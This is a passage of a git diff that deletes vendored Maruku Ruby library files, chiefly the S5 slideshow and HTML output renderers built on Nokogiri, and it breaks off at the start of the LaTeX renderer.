-		document.onclick = clicker;
-	}
-}
-
-window.onload = startup;
-window.onresize = function(){setTimeout('fontScale()', 50);}
-]]></script>
-
-EOF
-
-end 
-
diff --git a/vendor/plugins/maruku/lib/maruku/output/s5/to_s5.rb b/vendor/plugins/maruku/lib/maruku/output/s5/to_s5.rb
deleted file mode 100644
index 80b5f01c..00000000
--- a/vendor/plugins/maruku/lib/maruku/output/s5/to_s5.rb
+++ /dev/null
@@ -1,125 +0,0 @@
-# This module groups all functions related to HTML export.
-module MaRuKu
-
-require 'nokogiri'
-require 'maruku/string_utils'
-	 
-	class MDDocument
-
-	def s5_theme
-	  html_escape(self.attributes[:slide_theme] || "default")
-	end
-		
-	# Render as an HTML fragment (no head, just the content of BODY). (returns a string)
-	def to_s5(context={})
-		indent       = context[:indent]       || -1
-		ie_hack      = !context[:ie_hack].kind_of?(FalseClass)
-		content_only = !context[:content_only].kind_of?(FalseClass)
-
-		doc = Nokogiri::XML::Document.new
-
-		if content_only
-			body = Nokogiri::XML::Element.new('div', doc)
-		else
-			html = Nokogiri::XML::Element.new('html', doc)
-			doc << html
-			html.add_namespace(nil, 'http://www.w3.org/1999/xhtml')
-			html.add_namespace('svg', "http://www.w3.org/2000/svg" )
-
-			head = Nokogiri::XML::Element.new('head', html)
-			html << head
-			me = Nokogiri::XML::Element.new('meta', head)
-			me['http-equiv'] = 'Content-type'
-			me['content'] = 'text/html;charset=utf-8'
-			head << meta
-
-			# Create title element
-			doc_title = self.attributes[:title] || self.attributes[:subject] || ""
-			title = Nokogiri::XML::Element.new 'title', head
-				title << Nokogiri::XML::Text.new(doc_title, head)
-            head << title		
-			body = Nokogiri::XML::Element.new('body', html)
-			html << body
-			
-		end
-		
-		slide_header = self.attributes[:slide_header]
-		slide_footer = self.attributes[:slide_footer]
-		slide_subfooter = self.attributes[:slide_subfooter]
-		slide_topleft  = self.attributes[:slide_topleft]
-		slide_topright  = self.attributes[:slide_topright]
-		slide_bottomleft  = self.attributes[:slide_bottomleft]
-		slide_bottomright  = self.attributes[:slide_bottomright]
-
-		dummy_layout_slide = 
-		"
-		<div class='layout'>
-		<div id='controls'> </div>
-		<div id='currentSlide'> </div>
-		<div id='header'> #{slide_header}</div>
-		<div id='footer'>
-		<h1>#{slide_footer}</h1>
-		<h2>#{slide_subfooter}</h2>
-		</div>
-		<div class='topleft'> #{slide_topleft}</div>
-		<div class='topright'> #{slide_topright}</div>
-		<div class='bottomleft'> #{slide_bottomleft}</div>
-		<div class='bottomright'> #{slide_bottomright}</div>
-		</div>
-                "
-		body <<  Nokogiri::XML::Document.parse(dummy_layout_slide).root
-
-		presentation = Nokogiri::XML::Element.new('div', body)
-		presentation['class'] = 'presentation'
-		body << presentation
-		
-		first_slide="
-	  <div class='slide'>
-	  <h1> #{self.attributes[:title] ||context[:title]}</h1>
-	  <h2> #{self.attributes[:subtitle] ||context[:subtitle]}</h2>
-	  <h3> #{self.attributes[:author] ||context[:author]}</h3>
-	  <h4> #{self.attributes[:company] ||context[:company]}</h4>
-	  </div>
-		"
-		presentation << Nokogiri::XML::Document.parse(first_slide).root
-
-		slide_num = 0
-		self.toc.section_children.each do |slide|
-			slide_num += 1
-			@doc.attributes[:doc_prefix] = "s#{slide_num}"
-			
-#			puts "Slide #{slide_num}: " + slide.header_element.to_s
-			div = Nokogiri::XML::Element.new('div', presentation)
-			presentation << div
-			div['class'] = 'slide'
-			
-			h1 = Nokogiri::XML::Element.new('h1', div)
-			slide.header_element.children_to_html.each do |e| h1 << e; end
-			div << h1
-			
-			array_to_html(slide.immediate_children).each do |e|  div << e  end
-				
-			# render footnotes
-			if @doc.footnotes_order.size > 0
-				div << render_footnotes
-				@doc.footnotes_order = []
-			end
-		end
-
-		if (content_only)
-		  xml = body.to_xml(:indent => (context[:indent] || 2), :save_with => 18 )
-		else
-		  doc2 = Nokogiri::XML::Document.parse("<div>"+S5_external+"</div>")
-		  doc2.root.children.each{ |child| head << child }
-
-		  add_css_to(head)
-
-		  xml = html.to_xml(:indent => (context[:indent] || 2), :save_with => 18 )
-		  Xhtml11_mathml2_svg11 + xml
-		end
-	end
-
-end 
-
-
-end
diff --git a/vendor/plugins/maruku/lib/maruku/output/to_html.rb b/vendor/plugins/maruku/lib/maruku/output/to_html.rb
deleted file mode 100644
index 818201a4..00000000
--- a/vendor/plugins/maruku/lib/maruku/output/to_html.rb
+++ /dev/null
@@ -1,989 +0,0 @@
-#--
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-# 
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-# 
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-# 
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#++
-
-require 'nokogiri'
-require 'maruku/string_utils'
-
-class String
-	# A string is rendered into HTML by creating
-	# a Nokogiri::XML::Text node. Nokogiri takes care of all the encoding.
-	def to_html
-        d = Nokogiri::XML::Document.new
-	    Nokogiri::XML::Text.new(self, d)
-	end
-end
-
-
-# This module groups all functions related to HTML export.
-module MaRuKu; module Out; module HTML
-	
-	# Render as an HTML fragment (no head, just the content of BODY). (returns a string)
-	def to_html(context={})		
-        d = Nokogiri::XML::Document.parse('<dummy/>')
-			children_to_html.each do |e|
-				d.root << e
-			end
-
-			# render footnotes
-			if @doc.footnotes_order.size > 0
-				d.root << render_footnotes
-			end
-		
-        xml = d.to_xml(:indent => (context[:indent] || 2), :save_with => 18 )
-
-		xml.gsub!(/\A<dummy>\s*|\s*<\/dummy>\s*\Z|\A<dummy\s*\/>/,'')
-		xml
-	end
-	
-	# Render to a complete HTML document (returns a string)
-	def to_html_document(context={})
-		indent = context[:indent] || -1
-		ie_hack = context[:ie_hack] ||true
-		doc = to_html_document_tree
-		xml  = "" 
-		
-		xml = doc.to_xml(:indent => (context[:indent] || 2), :save_with => 18 )
-		
-		Xhtml11_mathml2_svg11 + xml
-	end
-	
-				
-		Xhtml10strict  = 
-"<?xml version='1.0' encoding='utf-8'?>
-<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN'
-'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'>\n"
-		
-	Xhtml11strict_mathml2 = '<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN"
-               "http://www.w3.org/TR/MathML2/dtd/xhtml-math11-f.dtd" [
-  <!ENTITY mathml "http://www.w3.org/1998/Math/MathML">
-]>
-'
-
-Xhtml11_mathml2_svg11 = 
-'<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC
-    "-//W3C//DTD XHTML 1.1 plus MathML 2.0 plus SVG 1.1//EN"
-    "http://www.w3.org/2002/04/xhtml-math-svg/xhtml-math-svg.dtd">
-'
-	
-	
-	def xml_newline
-        d = Nokogiri::XML::Document.new
-        Nokogiri::XML::Text.new("\n", d)
-    end
-		
-
-=begin maruku_doc
-Attribute: title
-Scope: document
-
-Sets the title of the document.
-If a title is not specified, the first header will be used.
-
-These should be equivalent:
-
-	Title: my document
-
-	Content
-
-and
-
-	my document
-	===========
-
-	Content
-
-In both cases, the title is set to "my document".
-=end
-
-=begin maruku_doc
-Attribute: doc_prefix
-Scope: document
-
-String to disambiguate footnote links.
-=end
-
-
-=begin maruku_doc
-Attribute: subject
-Scope: document
-
-Synonim for `title`.
-=end
-
-
-	# Render to an HTML fragment (returns a Nokogiri document tree)
-	def to_html_tree
-        d = Nokogiri::XML::Document.new
-        div = Nokogiri::XML::Element.new('dummy', d)
-			div['class'] = 'maruku_wrapper_div'
-				children_to_html.each do |e|
-						  div << e
-				end
-
-				# render footnotes
-				if @doc.footnotes_order.size > 0
-						  div << render_footnotes
-				end
-
-		 d << div
-	end
-
-=begin maruku_doc
-Attribute: css
-Scope: document
-Output: HTML
-Summary: Activates CSS stylesheets for HTML.
-
-`css` should be a space-separated list of urls.
-
-Example:
-
-	CSS: style.css math.css
-
-=end
-
-	METAS = %w{description keywords author revised}
-
-	# Render to a complete HTML document (returns a Nokogiri document tree)
-	def to_html_document_tree
-		doc = Nokogiri::XML::Document.new
-		
-		root = Nokogiri::XML::Element.new('html', doc)
-		root.add_namespace(nil, 'http://www.w3.org/1999/xhtml')
-		root.add_namespace('svg', "http://www.w3.org/2000/svg" )
-		lang = self.attributes[:lang] || 'en'
-		root['xml:lang'] = lang
-		doc << root
-		
-		root << xml_newline
-		head = Nokogiri::XML::Element.new('head', doc)
-		root << head
-		
-			#<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8">
-			me = Nokogiri::XML::Element.new('meta', doc)
-			me['http-equiv'] = 'Content-type'
-			me['content'] = 'application/xhtml+xml;charset=utf-8'
-			head << me	
-		
-			METAS.each do |m|
-				if value = self.attributes[m.to_sym]
-					meta = Nokogiri::XML::Element.new('meta', doc)
-					meta['name'] = m
-					meta['content'] = value.to_s
-					head << meta
-				end
-			end
-			
-			
-			self.attributes.each do |k,v|
-				if k.to_s =~ /\Ameta-(.*)\Z/
-					meta = Nokogiri::XML::Element.new('meta',doc)
-					meta['name'] = $1
-					meta['content'] = v.to_s
-					head << meta
-				end
-			end
-			
-
-			
-			# Create title element
-			doc_title = self.attributes[:title] || self.attributes[:subject] || ""
-			title = Nokogiri::XML::Element.new('title', doc)
-				title << Nokogiri::XML::Text.new(doc_title, doc)
-			head << title				
-			add_css_to(head)
-			
-		
-		root << xml_newline
-		
-		body = Nokogiri::XML::Element.new('body', doc)
-		
-			children_to_html.each do |e|
-				body << e
-			end
-
-			# render footnotes
-			if @doc.footnotes_order.size > 0
-				body << render_footnotes(@doc)
-			end
-			
-			# When we are rendering a whole document, we add a signature 
-			# at the bottom. 
-			if get_setting(:maruku_signature)
-				body << maruku_html_signature 
-			end
-			
-		root << body
-		doc
-	end
-
-	def add_css_to(head)
-		if css_list = self.attributes[:css]
-            d = Nokogiri::XML::Document.new
-			css_list.split.each do |css|
-			# <link type="text/css" rel="stylesheet" href="..." />
-			link = Nokogiri::XML::Element.new('link', d)
-			link['type'] = 'text/css'
-			link['rel'] = 'stylesheet'
-			link['href'] = css
-			head << link 
-			head << xml_newline
-			end
-		end
-	end
-	
-	# returns "st","nd","rd" or "th" as appropriate
-	def day_suffix(day)
-		s = {
-			1 => 'st',
-			2 => 'nd',
-			3 => 'rd',
-			21 => 'st',
-			22 => 'nd',
-			23 => 'rd',
-			31 => 'st'
-		}
-		return s[day] || 'th';
-	end
-
-	# formats a nice date
-	def nice_date
-		t = Time.now
-		t.strftime(" at %H:%M on ")+
-		t.strftime("%A, %B %d")+
-		day_suffix(t.day)+
-		t.strftime(", %Y")
-	end
-	
-	def maruku_html_signature
-	    d = Nokogiri::XML::Document.new
-		div = Nokogiri::XML::Element.new( 'div', d)
-			div['class'] = 'maruku_signature'
-			div << Nokogiri::XML::Element.new('hr', div)
-			span = Nokogiri::XML::Element.new('span', div)
-				span['style'] = 'font-size: small; font-style: italic'
-				div << span << Nokogiri::XML::Text.new('Created by ', div)
-				a = Nokogiri::XML::Element.new('a', span)
-					a['href'] = 'http://maruku.rubyforge.org'
-					a['title'] = 'Maruku: a Markdown-superset interpreter for Ruby'
-					a << Nokogiri::XML::Text.new('Maruku', div)
-				span << Nokogiri::XML::Text.new(nice_date+".", div)
-		div
-	end
-	
-	def render_footnotes
-	    d = Nokogiri::XML::Document.new
-		div = Nokogiri::XML::Element.new('div', d)
-		div['class'] = 'footnotes'
-		div <<  Nokogiri::XML::Element.new('hr', d)
-			ol = Nokogiri::XML::Element.new('ol', d)
-			@doc.footnotes_order.each_with_index do |fid, i| num = i+1
-				f = self.footnotes[fid]
-				if f
-					li = f.wrap_as_element('li')
-					li['id'] = "#{get_setting(:doc_prefix)}fn:#{num}"
-					
-					a = Nokogiri::XML::Element.new('a', d)
-						a['href'] = "\##{get_setting(:doc_prefix)}fnref:#{num}"
-						a['rev'] = 'footnote'
-                        a << Nokogiri::XML::EntityReference.new(d, '#8617')
-
-					last = nil
-					li.children.reverse_each do |child|
-					  unless child.text?
-					    last = child
-					    break
-					  end 
-					end
-
-					if last and last.name == "p"
-					  last << Nokogiri::XML::Text.new(' ', last);
-					  last << a;
-					else
-					   li.children.last.add_next_sibling(a)
-					end
-					ol << li
-				else
-					maruku_error "Could not find footnote id '#{fid}' among ["+
-					 self.footnotes.keys.map{|s|"'"+s+"'"}.join(', ')+"]."
-				end
-			end
-		div << ol
-		div
-	end
-
-
-	def to_html_hrule; create_html_element 'hr'; end
-	def to_html_linebreak; create_html_element 'br'; end
-
-	# renders children as html and wraps into an element of given name
-	# 
-	# Sets 'id' if meta is set
-	def wrap_as_element(name, attributes_to_copy=[])
-		m = create_html_element(name, attributes_to_copy)
-			children_to_html.each do |e| m << e; end
-			
-		m
-	end
-	
-=begin maruku_doc
-Attribute: id
-Scope: element
-Output: LaTeX, HTML
-
-It is copied as a standard HTML attribute.
-
-Moreover, it used as a label name for hyperlinks in both HTML and
-in PDF.
-
-=end
-
-=begin maruku_doc
-Attribute: class
-Scope: element
-Output: HTML
-
-It is copied as a standard HTML attribute.
-=end
-
-=begin maruku_doc
-Attribute: style
-Scope: element
-Output: HTML
-
-It is copied as a standard HTML attribute.
-=end
-	
-		
-	
-	
-	
-	HTML4Attributes = {}
-	
-	coreattrs = [:id, :class, :style, :title, :accesskey, :contenteditable, :dir, :draggable, :spellcheck, :tabindex]
-	i18n = [:lang, 'xml:lang'.to_sym]
-	events = [
-		:onclick, :ondblclick, :onmousedown, :onmouseup, :onmouseover, 
-		:onmousemove, :onmouseout,
-		:onkeypress, :onkeydown, :onkeyup]	
-	attrs = coreattrs + i18n + events
-	cellhalign = [:align, :char, :charoff]
-	cellvalign = [:valign]
-	[
-		['body', attrs + [:onload, :onunload]],
-		['address', attrs],
-		['div', attrs],
-		['a', attrs+[:charset, :type, :name, :rel, :rev, :accesskey, :shape, :coords, :tabindex, 
-			:onfocus,:onblur]],
-		['img', attrs + [:longdesc, :name, :height, :width, :alt] ],
-		['p', attrs],
-		[['h1','h2','h3','h4','h5','h6'], attrs], 
-		[['pre'], attrs],
-		[['q', 'blockquote'], attrs+[:cite]],
-		[['ins','del'], attrs+[:cite,:datetime]],
-		[['ol'], attrs+[:reversed, :start]],
-		[['ul'], attrs],
-		[['li'], attrs+[:value]],
-		['table',attrs+[:summary, :width, :frame, :rules, :border, :cellspacing, :cellpadding]],
-		['caption',attrs],	
-		[['colgroup','col'],attrs+[:span, :width]+cellhalign+cellvalign],
-		[['thead','tbody','tfoot'], attrs+cellhalign+cellvalign],
-		[['td','td','th'], attrs+[:abbr, :axis, :headers, :scope, :rowspan, :colspan, :cellvalign, :cellhalign]],
-		
-		# altri
-		[['em','code','strong','hr','span','dl','dd','dt'], attrs]
-	].each do |el, a| [*el].each do |e| HTML4Attributes[e] = a end end
-		
-		
-	def create_html_element(name, attributes_to_copy=[])
-	    d = Nokogiri::XML::Document.new
-        m = Nokogiri::XML::Element.new(name, d)
-			if atts = HTML4Attributes[name] then 
-				atts.each do |att|
-					if v = @attributes[att] then 
-						m[att.to_s] = v.to_s 
-					end
-				end
-			else
-			#	puts "not atts for #{name.inspect}"
-			end
-		m
-	end
-
-	
-	def to_html_ul
-		if @attributes[:toc]
-			# render toc
-			html_toc = @doc.toc.to_html
-			return html_toc
-		else
-			add_ws  wrap_as_element('ul')               
-		end
-	end
-	
-	
-	def to_html_paragraph; add_ws wrap_as_element('p')                end
-	def to_html_ol;        add_ws wrap_as_element('ol')        end
-	def to_html_li;        add_ws wrap_as_element('li')        end
-	def to_html_li_span;   add_ws wrap_as_element('li')        end
-	def to_html_quote;     add_ws wrap_as_element('blockquote')  end
-	def to_html_strong;    wrap_as_element('strong')           end
-	def to_html_emphasis;  wrap_as_element('em')               end
-
-=begin maruku_doc
-Attribute: use_numbered_headers
-Scope: document
-Summary: Activates the numbering of headers.
-
-If `true`, section headers will be numbered.
-
-In LaTeX export, the numbering of headers is managed
-by Maruku, to have the same results in both HTML and LaTeX.
-=end
-
-	# nil if not applicable, else string
-	def section_number
-		return nil if not get_setting(:use_numbered_headers)
-		
-		n = @attributes[:section_number]
-		if n && (not n.empty?)
-			 n.join('.')+". "
-		else
-			nil
-		end
-	end
-	
-	# nil if not applicable, else SPAN element
-	def render_section_number
-	    d = Nokogiri::XML::Document.new
-		# if we are bound to a section, add section number
-		if num = section_number
-			span = Nokogiri::XML::Element.new('span', d)
-			span['class'] = 'maruku_section_number'
-			span << Nokogiri::XML::Text.new(section_number, d)
-			span
-		else
-			nil
-		end
-	end
-	
-	def to_html_header
-		element_name = "h#{self.level}" 
-		h = wrap_as_element element_name
-		
-		if span = render_section_number
-			h.insert_before(h.children.first, span)
-		end
-		add_ws h
-	end
-
-	def source2html(source)
-	    d = Nokogiri::XML::Document.new
-        t = Nokogiri::XML::Text.new(source,d)
-	end
-		
-=begin maruku_doc
-Attribute: html_use_syntax
-Scope: global, document, element
-Output: HTML
-Summary: Enables the use of the `syntax` package.
-Related: lang, code_lang
-Default: <?mrk md_code(Globals[:html_use_syntax].to_s) ?>
-
-If true, the `syntax` package is used. It supports the `ruby` and `xml`
-languages. Remember to set the `lang` attribute of the code block.
-
-Examples:
-
-		require 'maruku'
-	{:lang=ruby html_use_syntax=true}
-
-and 
-	
-		<div style="text-align:center">Div</div>
-	{:lang=html html_use_syntax=true}
-
-produces:
-
-	require 'maruku'
-{:lang=ruby html_use_syntax=true}
-
-and
-
-	<div style="text-align:center">Div</div>
-{:lang=html html_use_syntax=true}
-
-=end
-
-	$syntax_loaded = false
-	def to_html_code; 
-		source = self.raw_code
-
-		lang = self.attributes[:lang] || @doc.attributes[:code_lang] 
-
-		lang = 'xml' if lang=='html'
-		lang = 'css21' if lang == 'css'
-
-		use_syntax = get_setting :html_use_syntax
-
-		element = 
-		if use_syntax && lang
-			begin
-				if not $syntax_loaded
-					require 'rubygems'
-					require 'syntax'
-					require 'syntax/convertors/html'
-					$syntax_loaded = true
-				end
-				convertor = Syntax::Convertors::HTML.for_syntax lang
-				
-				# eliminate trailing newlines otherwise Syntax crashes
-				source = source.gsub(/\n*\Z/,'')
-				
-				html = convertor.convert( source )
-
-				html.gsub!(/\&apos;|'/,'&#39;') # IE bug
-	#			html = html.gsub(/&/,'&amp;') 
-				dd = Nokogiri::XML::Document.new				
-				d = Nokogiri::XML::Document.parse(html)
-				code = d.root
-				code.name = 'code'
-				code['lang'] = lang
-				
-				pre = Nokogiri::XML::Element.new('pre', dd)
-				pre['class'] = lang
-				pre << code
-				pre
-			rescue LoadError => e
-				maruku_error "Could not load package 'syntax'.\n"+
-					"Please install it, for example using 'gem install syntax'."
-				to_html_code_using_pre(source)	
-			rescue Object => e
-				maruku_error"Error while using the syntax library for code:\n#{source.inspect}"+
-				 "Lang is #{lang} object is: \n"+
-				  self.inspect + 
-				"\nException: #{e.class}: #{e.message}\n\t#{e.backtrace.join("\n\t")}"
-				
-				tell_user("Using normal PRE because the syntax library did not work.")
-				to_html_code_using_pre(source)
-			end
-		else
-			to_html_code_using_pre(source)
-		end
-		
-		color = get_setting(:code_background_color)
-		if color != Globals[:code_background_color]
-			element['style'] = "background-color: #{color};"
-		end
-		add_ws element
-	end
-	
-=begin maruku_doc
-Attribute: code_background_color
-Scope: global, document, element
-Summary: Background color for code blocks.
-
-The format is either a named color (`green`, `red`) or a CSS color
-of the form `#ff00ff`. 
-
-* for **HTML output**, the value is put straight in the `background-color` CSS 
-  property of the block.
-
-* for **LaTeX output**, if it is a named color, it must be a color accepted
-  by the LaTeX `color` packages. If it is of the form `#ff00ff`, Maruku
-  defines a color using the `\color[rgb]{r,g,b}` macro. 
-
-  For example, for `#0000ff`, the macro is called as: `\color[rgb]{0,0,1}`.
-
-=end
-	
-	
-	def to_html_code_using_pre(source)
-	    d = Nokogiri::XML::Document.new
-		pre = create_html_element  'pre'
-		code = Nokogiri::XML::Element.new('code', d)
-		s = source
-
-		if get_setting(:code_show_spaces) 
-			# 187 = raquo
-			# 160 = nbsp
-			# 172 = not
-			s.gsub!(/\t/,'&#187;'+'&#160;'*3)
-			s.gsub!(/ /,'&#172;')
-		end
-
-        text = Nokogiri::XML::Text.new(s, d)
-		
-		if lang = self.attributes[:lang]
-			code['lang'] = lang
-			code['class'] = lang
-		end
-		code << text
-		pre << code
-		pre
-	end
-
-	def to_html_inline_code; 
-		pre =  create_html_element 'code'
-			source = self.raw_code
-			pre << source2html(source) 
-			
-			color = get_setting(:code_background_color)
-			if color != Globals[:code_background_color]
-				pre['style'] = "background-color: #{color};"+(pre['style']||"")
-			end
-			
-		pre
-	end
-
-	def add_class_to(el, cl)
-		el['class'] = 
-		if already = el['class']
-			already + " " + cl
-		else
-			cl
-		end
-	end
-
-	def add_class_to_link(a)
-		return # not ready yet
-		
-		# url = a.attributes['href']
-		# return if not url
-		# 
-		# if url =~ /^#/
-		# 	add_class_to(a, 'maruku-link-samedoc')
-		# elsif url =~ /^http:/
-		# 	add_class_to(a, 'maruku-link-external')
-		# else
-		# 	add_class_to(a, 'maruku-link-local')
-		# end
-		# 	
-#		puts a.attributes['class']
-	end
-	
-	
-	def to_html_immediate_link
-        d = Nokogiri::XML::Document.new
-		a =  create_html_element 'a'
-		url = self.url
-		text = url.gsub(/^mailto:/,'') # don't show mailto
-		a << Nokogiri::XML::Text.new(text, d)
-		a['href'] = url
-		add_class_to_link(a)
-		a
-	end
-	
-	def to_html_link
-		a =  wrap_as_element 'a'
-		id = self.ref_id
-		
-		if ref = @doc.refs[id]
-			url = ref[:url]
-			title = ref[:title]
-			a['href'] = url if url
-			a['title'] = title if title
-		else
-			maruku_error "Could not find ref_id = #{id.inspect} for #{self.inspect}\n"+
-				"Available refs are #{@doc.refs.keys.inspect}"
-			tell_user "Not creating a link for ref_id = #{id.inspect}."
-			return wrap_as_element('span')
-		end
-
-#		add_class_to_link(a)
-		return a
-	end
-	
-	def to_html_im_link
-		if url = self.url
-			title = self.title
-			a =  wrap_as_element 'a'
-			a['href'] = url
-			a['title'] = title if title
-			return a
-		else
-			maruku_error"Could not find url in #{self.inspect}"
-			tell_user "Not creating a link for ref_id = #{id.inspect}."
-			return wrap_as_element('span')
-		end
-	end
-	
-	def add_ws(e)
-	    d = Nokogiri::XML::Document.new
-		[Nokogiri::XML::Text.new("\n", d), e, Nokogiri::XML::Text.new("\n", d)]
-	end
-##### Email address
-	
-	def obfuscate(s)
-	    d = Nokogiri::XML::Document.new
-		res = Nokogiri::XML::NodeSet.new(d)
-		s.each_byte do |char|
-			res <<  Nokogiri::XML::EntityReference.new(d, "#%03d" % char)
-		end
-		res
-	end
-	
-	def to_html_email_address
-	    d = Nokogiri::XML::Document.new
-		email = self.email
-		a = create_html_element 'a'
-			#a.attributes['href'] = Text.new("mailto:"+obfuscate(email),false,nil,true)
-			#a.attributes.add Attribute.new('href',Text.new(
-			#"mailto:"+obfuscate(email),false,nil,true))
-			# Sorry, for the moment it doesn't work
-			a['href'] = "mailto:#{email}"
-			
-			a << obfuscate(email)
-		a
-	end
-
-##### Images
-
-	def to_html_image
-		a =  create_html_element 'img'
-		id = self.ref_id
-		if ref = @doc.refs[id]
-			url = ref[:url]
-			title = ref[:title]
-			a['src'] = url.to_s
-			a['alt'] = children_to_s
-			a['title'] = title.to_s if title 
-		else
-			maruku_error"Could not find id = #{id.inspect} for\n #{self.inspect}"
-			tell_user "Could not create image with ref_id = #{id.inspect};"+
-				 " Using SPAN element as replacement."
-				return wrap_as_element('span')
-		end
-		return a
-	end
-	
-	def to_html_im_image
-		if not url = self.url
-			maruku_error "Image with no url: #{self.inspect}"
-			tell_user "Could not create image with ref_id = #{id.inspect};"+
-				" Using SPAN element as replacement."
-			return wrap_as_element('span')
-		end
-		title = self.title
-		a =  create_html_element 'img'
-			a['src'] = url.to_s
-			a['alt'] = children_to_s 
-			a['title'] = title.to_s if title 
-		return a
-	end
-
-=begin maruku_doc
-Attribute: filter_html
-Scope: document
-
-If true, raw HTML is discarded from the output.
-
-=end
-
-	def to_html_raw_html
-	    d = Nokogiri::XML::Document.new
-		return [] if get_setting(:filter_html)
-		
-		raw_html = self.raw_html
-		if rexml_doc = @parsed_html
-			root = rexml_doc.root
-			if root.nil?
-				s = "Bug in REXML: root() of Document is nil: \n#{rexml_doc.inspect}\n"+
-				"Raw HTML:\n#{raw_html.inspect}"
-				maruku_error s
-				tell_user 'The REXML version you have has a bug, omitting HTML'
-                div = Nokogiri::XML::Element.new('div', d)
-				#div << Text.new(s)
-				return div
-			end
-			
-			# copies the @children array (FIXME is it deep?)
-			elements =  root.children.to_a 
-		else # invalid
-			# Creates red box with offending HTML
-			tell_user "Wrapping bad html in a PRE with class 'markdown-html-error'\n"+
-				raw_html.gsub(/^/, '|')
-            pre = Nokogiri::XML::Element.new('pre', d)
-			pre['style'] = 'border: solid 3px red; background-color: pink'
-			pre['class'] = 'markdown-html-error'
-            pre << Nokogiri::XML::Text.new("Nokogiri could not parse this XML/HTML: \n#{raw_html}", d)
-			return pre
-		end
-	end
-
-	def to_html_abbr
-	    d = Nokogiri::XML::Document.new
-		abbr = Nokogiri::XML::Element.new('abbr', d)
-		abbr << Nokogiri::XML::Text.new(children[0], d)
-		abbr['title'] = self.title if self.title
-		abbr
-	end
-	
-	def to_html_footnote_reference
-	    d = Nokogiri::XML::Document.new
-		id = self.footnote_id
-		
-		# save the order of used footnotes
-		order = @doc.footnotes_order
-		
-		if order.include? id
-		  # footnote has already been used
-		  return []
-	  end
-	  
-	  if not @doc.footnotes[id]
-	    return []
-    end
-	  
-		# take next number
-		order << id
-		
-		#num = order.size; 
-		num = order.index(id) + 1
-		  
-		sup = Nokogiri::XML::Element.new('sup', d)
-		sup['id'] = "#{get_setting(:doc_prefix)}fnref:#{num}"
-			a = Nokogiri::XML::Element.new('a', d)
-			a << Nokogiri::XML::Text.new(num.to_s, d)
-			a['href'] = "\##{get_setting(:doc_prefix)}fn:#{num}"
-			a['rel'] = 'footnote'
-		sup << a
-			
-		sup
-	end
-	
-## Definition lists ###
-	def to_html_definition_list() add_ws wrap_as_element('dl') end
-	def to_html_definition() children_to_html end
-	def to_html_definition_term() add_ws wrap_as_element('dt') end
-	def to_html_definition_data() add_ws wrap_as_element('dd') end	
-
-	# FIXME: Ugly code
-	def to_html_table
-		align = self.align
-		num_columns = align.size
-
-		head = @children.slice(0, num_columns)
-		rows = []
-		i = num_columns
-		while i<@children.size
-			rows << @children.slice(i, num_columns)
-			i += num_columns
-		end
-		
-		table = create_html_element 'table'
-			thead = Nokogiri::XML::Element.new('thead', table)
-			tr = Nokogiri::XML::Element.new('tr', table)
-				array_to_html(head).each do |x| tr<<x end
-			thead << tr
-			table << thead
-			
-			tbody = Nokogiri::XML::Element.new('tbody', table)
-			rows.each do |row|
-				tr = Nokogiri::XML::Element.new('tr', table)
-					array_to_html(row).each_with_index do |x,i| 
-						x['style'] ="text-align: #{align[i].to_s};" 
-						tr<<x 
-					end
-						
-				tbody << tr << Nokogiri::XML::Text.new("\n", table)
-			end
-			table << tbody
-		table
-	end
-	
-	def to_html_head_cell; wrap_as_element('th') end
-	def to_html_cell
-		if @attributes[:scope]
-			wrap_as_element('th', [:scope])
-		else
-			wrap_as_element('td')
-		end
- 	end
-	
-	def to_html_entity 
-	    d = Nokogiri::XML::Document.new
-		MaRuKu::Out::Latex.need_entity_table
-      
-		entity_name = self.entity_name
-		
-		if (e = MaRuKu::Out::Latex::ENTITY_TABLE[entity_name]) && e.html_num
-			entity_name = e.html_num
-		end
-		
-		# Fix for Internet Explorer
-		if entity_name == 'apos'
-			entity_name = 39
-		end
-
-		
-		if entity_name.kind_of? Fixnum
-			 Nokogiri::XML::EntityReference.new(d, '#%d' % [entity_name])
-		else
-			 Nokogiri::XML::EntityReference.new(d, '%s' % [entity_name])
-		end
-	end
-
-	def to_html_xml_instr
-		target = self.target || ''
-		code = self.code || ''
-	    d = Nokogiri::XML::Document.new
-	    Nokogiri::XML::ProcessingInstruction.new(d,target,code)
-	end
-
-	# Convert each child to html
-	def children_to_html
-		array_to_html(@children)
-	end
-
-	def array_to_html(array)
-		e = []
-		array.each do |c|
-			method = c.kind_of?(MDElement) ? "to_html_#{c.node_type}" : "to_html"
-
-			if not c.respond_to?(method)
-				#raise "Object does not answer to #{method}: #{c.class} #{c.inspect}"
-				next
-			end
-
-			h =  c.send(method)
-
-			if h.nil?
-				raise "Nil html created by method  #{method}:\n#{h.inspect}\n"+
-				" for object #{c.inspect[0,300]}"
-			end
-
-			if h.kind_of?Array
-				e = e + h #h.each do |hh| e << hh end
-			else
-				e << h
-			end
-		end
-		e
-	end
-
-	def to_html_ref_definition; [] end
-	def to_latex_ref_definition; [] end
-
-end # HTML
-end # out
-end # MaRuKu
diff --git a/vendor/plugins/maruku/lib/maruku/output/to_latex.rb b/vendor/plugins/maruku/lib/maruku/output/to_latex.rb
deleted file mode 100644
index f1d05820..00000000
--- a/vendor/plugins/maruku/lib/maruku/output/to_latex.rb
+++ /dev/null
@@ -1,590 +0,0 @@
-#--
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-# 
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
